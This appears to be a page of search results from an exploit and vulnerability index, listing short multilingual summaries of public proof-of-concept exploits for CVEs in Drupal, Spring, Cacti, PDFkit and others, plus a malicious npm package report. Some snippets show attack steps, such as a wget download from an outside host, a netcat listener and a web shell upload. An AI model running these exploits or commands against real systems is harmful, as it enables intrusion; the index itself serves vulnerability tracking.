Lucene search
+L

1133915 matches found

Kitploit
Kitploit
added 2026/09/01 1:24 a.m.3 views

drupalgeddon2

drupalgeddon2 CVE-2018-7600 のエクスプロイト。 使用法: drupalgeddon2 options root@kitploit: -h: URL ターゲット -c: OS コマンド 例: drupalgeddon2.py -h http://www.victim.com -c 'ls -la' https://github.com/FireFart/CVE-2018-7600 に基づく。...

9.8CVSS7AI score0.99991EPSS
SaveExploits49References1
Kitploit
Kitploit
added 2026/09/01 1:24 a.m.6 views

setup-cve-2015-8562

Joomla! RCE CVE 2015-8562 CVE 2015-8562 のテスト環境をセットアップするための Docker compose ファイル 目次 1. プロジェクトについて 2. はじめに 前提条件 インストール 3. 使用方法 4. コントリビューション 5. ライセンス プロジェクトについて このプロジェクトには、CVE 2015-8562 のテスト環境をセットアップするための Docker compose ファイルが含まれています。 PHP 5.3 と MySQL サーバー 5.6 を搭載した Apache 2.4 サーバーをセットアップします。...

7.5CVSS7.1AI score0.98283EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/01 1:13 a.m.3 views

CVE-2017-11882-exp

CVE-2017-11882 43b 原脚本来自于 https://github.com/embedi/CVE-2017-11882 109b 原脚本来自于 https://github.com/unamer/CVE-2017-11882/ (膜一波,现在unamer的代码已经可以执行shellcode了) CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-118...

9.3CVSS7.3AI score0.99945EPSS
SaveExploits33References2
Kitploit
Kitploit
added 2026/09/01 1:13 a.m.5 views

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 情報漏えい + RCE オールインワン このPoCは対象にファイルを書き込みます。ここではphpinfoを書き込みます。他の機能が必要な場合は、ご自身で修正してください。違法な用途に使用しないでください。...

9.8CVSS7.3AI score0.83553EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/01 1:10 a.m.4 views

CVE-2019-0604

CVE-2019-0604 CVE-2019-0604 来自 https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

9.8CVSS6.9AI score0.99913EPSS
SaveExploits30
Kitploit
Kitploit
added 2026/09/01 1:10 a.m.4 views

CVE-2019-11043

CVE-2019-11043 Ejecución remota de código en PHP-FPM Videotutorial: https://youtu.be/d6benC5FVZM Resumen Este exploit de día cero en configuraciones comunes de PHP-FPM fue descubierto durante la competencia Realworld CTF en 2019. Se utiliza una expresión regular para analizar la URI solicitada,...

9.8CVSS7.1AI score0.9978EPSS
SaveExploits57References1
Kitploit
Kitploit
added 2026/09/01 1:10 a.m.3 views

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 リモートコード実行 参照: https://k4m1ll0.com/cve-2021-41653.html...

10CVSS7.4AI score0.76045EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/01 1:06 a.m.4 views

CVE-2023-43364-Exploit-CVE

CVE-2023-43364-Exploit-CVE 这是一个 Python 脚本,用于对 Searchor 2.4.0 进行漏洞利用 —— eval 函数的实现不安全,可被利用执行远程代码(RCE)。 该靶机依赖已安装的 busybox,因为我编写此脚本是为了 HackTheBox 上的 Busqueda 机器。如果你需要使用 busybox 以外的其他工具,只需将 payload 替换为另一个反弹 shell 即可。...

9.8CVSS7.2AI score0.02565EPSS
SaveExploits3
OSV
OSV
added 2026/09/01 1:03 a.m.5 views

MAL-2026-15671 Malicious code in quartz-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f59477bf2399742c785aa97d80d04b4800f66446ae3635167ba173d96080a91 On npm install, the package's preinstall hook package.json scripts.preinstall = node index.js executes index.js, which reads the installer's OS...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/01 12:54 a.m.6 views

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26 CVE-2024-25641 的完全自动化利用工具。 当用户通过身份验证后,Cacti 1.2.26 容易受到任意文件写入漏洞的影响,该漏洞可通过“包导入”(Package Import)功能加以利用,允许拥有“导入模板”(Import Templates)权限的已认证用户在 Web 服务器上执行任意 PHP 代码(RCE)。 致谢此 PoC : https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88...

9.1CVSS7.7AI score0.86303EPSS
SaveExploits17References1
Kitploit
Kitploit
added 2026/09/01 12:54 a.m.10 views

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE 漏洞利用 这是一个 Spring4Shell(CVE-2022-22963)的 Python 实现,影响运行 Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py...

9.8CVSS6.9AI score0.99938EPSS
SaveExploits37References1
Kitploit
Kitploit
added 2026/09/01 12:52 a.m.4 views

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 詳細 説明 パッケージ pdfkit バージョン 0.0.0 以降 は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 PoC HTTP サーバーの起動 root@kitploit: 1- python3 -m http.server 80 netcat リスナーの起動 root@kitploit: 2- nc -lnvp 'Target Port' リクエストの送信 root@kitploit: 3- http://"TARGETADDRESS:Target...

9.8CVSS7.2AI score0.39804EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/01 12:51 a.m.3 views

CVE-2023-26852-Textpattern-v4.8.8-and-

CVE-2023-26852-Textpattern-v4.8.8-およびそれ以下のバージョン Textpattern v4.8.8 およびそれ以下には、無制限のファイルアップロード – 危険なファイル内容によるリモートコード実行の脆弱性があります。 これが私の最初のリポジトリです。うまく説明できていなくても責めないでください... Textpattern は、PHP と MySQL 向けのフリーかつオープンソースのコンテンツ管理システムです。通常はブログツールの1つに分類されますが、その目的は汎用のコンテンツ管理システムとなることです。 このウェブアプリケーションでは、admin...

7.2CVSS7.1AI score0.01994EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/01 12:51 a.m.4 views

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 は、laravel-admin v1.8.19における任意のファイルアップロードの脆弱性です。このProof of Conceptは、この脆弱性を悪用してWebシェルをアップロードします。 このエクスプロイトは、HackTheBoxのイージーマシン Usage に対して使用するために作成されました。 使用例 root@kitploit: python3 CVE-2023-24249.py + Web shell uploaded to...

7.2CVSS7.2AI score0.02382EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/01 12:48 a.m.5 views

cve-2020-24572

CVE-2020-24572 RaspAP 2.5のincludes/webconsole.phpに問題が発見されました。認証済みアクセスがある場合、攻撃者は誤って設定された(事実上無制限の)Webコンソールを利用して、このソフトウェアを実行している基盤OSを攻撃し、ファイルのアップロードやコードの実行を含むシステム上のコマンドを実行することができます。...

9CVSS7.3AI score0.06799EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/01 12:47 a.m.4 views

cve-2019-2725

cve-2019-2725 参考: Tenable - https://www.tenable.com/blog/oracle-weblogic-affected-by-unauthenticated-remote-code-execution-vulnerability-cve-2019-2725 Exploit Database - https://www.exploit-db.com/exploits/46780 PaloAlto -...

9.8CVSS7.2AI score0.99964EPSS
SaveExploits36
Kitploit
Kitploit
added 2026/09/01 12:46 a.m.5 views

CVE-2024-6387

0.省流 这本质上是一种统计漏洞:需要进行大量尝试才能赢得竞争条件并成功执行任意代码,攻击者需要克服很多障碍,”Schwartz 告诉SecurityWeek。“即使在最好的情况下,最著名的漏洞也需要 4 个多小时才能运行。” 在OpenSSH 9.8 的发布说明中,开发人员指出该漏洞仅在基于 glibc 的 32 位 Linux 系统上得到证实,并指出 OpenBSD 不受影响。 1.环境搭建 环境搭建采用Docker 1.1.编写Dockerfile root@kitploit: FROM i386/ubuntu:20.04 ENV...

8.1CVSS7AI score0.99506EPSS
SaveExploits71References1
Kitploit
Kitploit
added 2026/09/01 12:40 a.m.5 views

httpd-2.4.49

httpd-2.4.49 緊急: Apache HTTP Server 2.4.49および2.4.50におけるパストラバーサルとリモートコード実行 CVE-2021-41773の不完全な修正 CVE-2021-42013...

9.8CVSS5.9AI score0.99992EPSS
SaveExploits190
Kitploit
Kitploit
added 2026/09/01 12:38 a.m.7 views

Apache-RocketMQ-RCE-CVE-2023-37582-poc

このリポジトリには README がありません。...

9.8CVSS7.3AI score0.90427EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/01 12:37 a.m.3 views

cve-2014-7920-7921

cve-2014-7920-7921 Exploit code for CVE-2014-7920 and CVE-2014-7921 - code-exec in mediaserver up to Android 5.1 The symbols in this exploit are for Android 4.3, for can be adapted to any version up to Android 5.1...

10CVSS7.2AI score0.01721EPSS
SaveExploits0
Rows per page
Query Builder